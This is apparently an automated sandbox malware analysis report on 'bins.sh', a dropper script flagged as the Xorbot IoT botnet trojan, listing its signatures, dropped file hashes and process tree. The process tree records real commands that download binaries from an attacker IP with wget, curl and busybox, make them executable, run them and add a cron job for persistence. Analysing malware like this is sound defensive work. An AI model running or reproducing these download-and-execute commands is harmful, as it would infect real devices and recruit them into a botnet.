Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    29/01/2025, 16:27

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250129-tx31naspfw
  • SHA256 e1472ef20e2d0733ab1281238404f62c0c50b7d4c20f755f62eb0a1fcb50ba4e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotantivmbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (668) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 5 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:667
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:669
      • /usr/bin/wget
        wget http://94.154.35.94/bins/n8B8ZA3J0C8khXW6StCUUEKigry6jR2koH
        2⤵
        • Writes file to tmp directory
        PID:674
      • /usr/bin/curl
        curl -O http://94.154.35.94/bins/n8B8ZA3J0C8khXW6StCUUEKigry6jR2koH
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:692
      • /bin/busybox
        /bin/busybox wget http://94.154.35.94/bins/n8B8ZA3J0C8khXW6StCUUEKigry6jR2koH
        2⤵
        • Writes file to tmp directory
        PID:699
      • /bin/chmod
        chmod 777 n8B8ZA3J0C8khXW6StCUUEKigry6jR2koH
        2⤵
        • File and Directory Permissions Modification
        PID:701
      • /tmp/n8B8ZA3J0C8khXW6StCUUEKigry6jR2koH
        ./n8B8ZA3J0C8khXW6StCUUEKigry6jR2koH
        2⤵
        • Renames itself
        • Reads runtime system information
        PID:702
        • /bin/sh
          sh -c "crontab -l"
          3⤵
            PID:704
            • /usr/bin/crontab
              crontab -l
              4⤵
                PID:705
            • /bin/sh
              sh -c "crontab -"
              3⤵
                PID:706
                • /usr/bin/crontab
                  crontab -
                  4⤵
                  • Creates/modifies Cron job
                  PID:707
            • /bin/rm
              rm n8B8ZA3J0C8khXW6StCUUEKigry6jR2koH
              2⤵
                PID:709
              • /usr/bin/wget
                wget http://94.154.35.94/bins/ULJcvknsV2Wbsstfw4uK906b1x6D9mVz4t
                2⤵
                  PID:712
                • /usr/bin/curl
                  curl -O http://94.154.35.94/bins/ULJcvknsV2Wbsstfw4uK906b1x6D9mVz4t
                  2⤵
                    PID:713
                  • /bin/busybox
                    /bin/busybox wget http://94.154.35.94/bins/ULJcvknsV2Wbsstfw4uK906b1x6D9mVz4t
                    2⤵
                    • Writes file to tmp directory
                    PID:714
                  • /bin/chmod
                    chmod 777 ULJcvknsV2Wbsstfw4uK906b1x6D9mVz4t
                    2⤵
                    • File and Directory Permissions Modification
                    PID:715
                  • /tmp/ULJcvknsV2Wbsstfw4uK906b1x6D9mVz4t
                    ./ULJcvknsV2Wbsstfw4uK906b1x6D9mVz4t
                    2⤵
                      PID:716
                    • /bin/rm
                      rm ULJcvknsV2Wbsstfw4uK906b1x6D9mVz4t
                      2⤵
                        PID:718
                      • /usr/bin/wget
                        wget http://94.154.35.94/bins/MB9XICmNi9yfdhD2TzdTBlEk8pqrUZCCEB
                        2⤵
                          PID:720
                        • /usr/bin/curl
                          curl -O http://94.154.35.94/bins/MB9XICmNi9yfdhD2TzdTBlEk8pqrUZCCEB
                          2⤵
                            PID:722
                          • /bin/busybox
                            /bin/busybox wget http://94.154.35.94/bins/MB9XICmNi9yfdhD2TzdTBlEk8pqrUZCCEB
                            2⤵
                            • Writes file to tmp directory
                            PID:724
                          • /bin/chmod
                            chmod 777 MB9XICmNi9yfdhD2TzdTBlEk8pqrUZCCEB
                            2⤵
                            • File and Directory Permissions Modification
                            PID:730
                          • /tmp/MB9XICmNi9yfdhD2TzdTBlEk8pqrUZCCEB
                            ./MB9XICmNi9yfdhD2TzdTBlEk8pqrUZCCEB
                            2⤵
                              PID:732
                            • /bin/rm
                              rm MB9XICmNi9yfdhD2TzdTBlEk8pqrUZCCEB
                              2⤵
                                PID:734
                              • /usr/bin/wget
                                wget http://94.154.35.94/bins/hfL5mcYEVdl3Rpfjmns3PHqbzasL4gqxJm
                                2⤵
                                  PID:736

                              Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    MB9XICmNi9yfdhD2TzdTBlEk8pqrUZCCEB
                                    • Path /tmp/MB9XICmNi9yfdhD2TzdTBlEk8pqrUZCCEB
                                    • Size 117KB
                                    • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                    • MD5 SHA1 SHA512 SSDEEP
                                    Submit Download

                                    ULJcvknsV2Wbsstfw4uK906b1x6D9mVz4t
                                    • Path /tmp/ULJcvknsV2Wbsstfw4uK906b1x6D9mVz4t
                                    • Size 107KB
                                    • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                    • MD5 SHA1 SHA512 SSDEEP
                                    Submit Download

                                    n8B8ZA3J0C8khXW6StCUUEKigry6jR2koH
                                    • Path /tmp/n8B8ZA3J0C8khXW6StCUUEKigry6jR2koH
                                    • Size 119KB
                                    • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                    • MD5 SHA1 SHA512 SSDEEP
                                    Submit Download

                                    tmp.4wbsLs
                                    • Path /var/spool/cron/crontabs/tmp.4wbsLs
                                    • Size 210B
                                    • SHA256 82bafec97aa423631da6b59f095ed23c845d67c54b2b6933b6a5d45f6c6df769
                                    • MD5 SHA1 SHA512
                                    Submit Download